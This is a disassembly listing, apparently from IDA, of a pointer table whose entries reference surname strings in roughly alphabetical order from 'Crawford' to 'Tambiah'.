		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
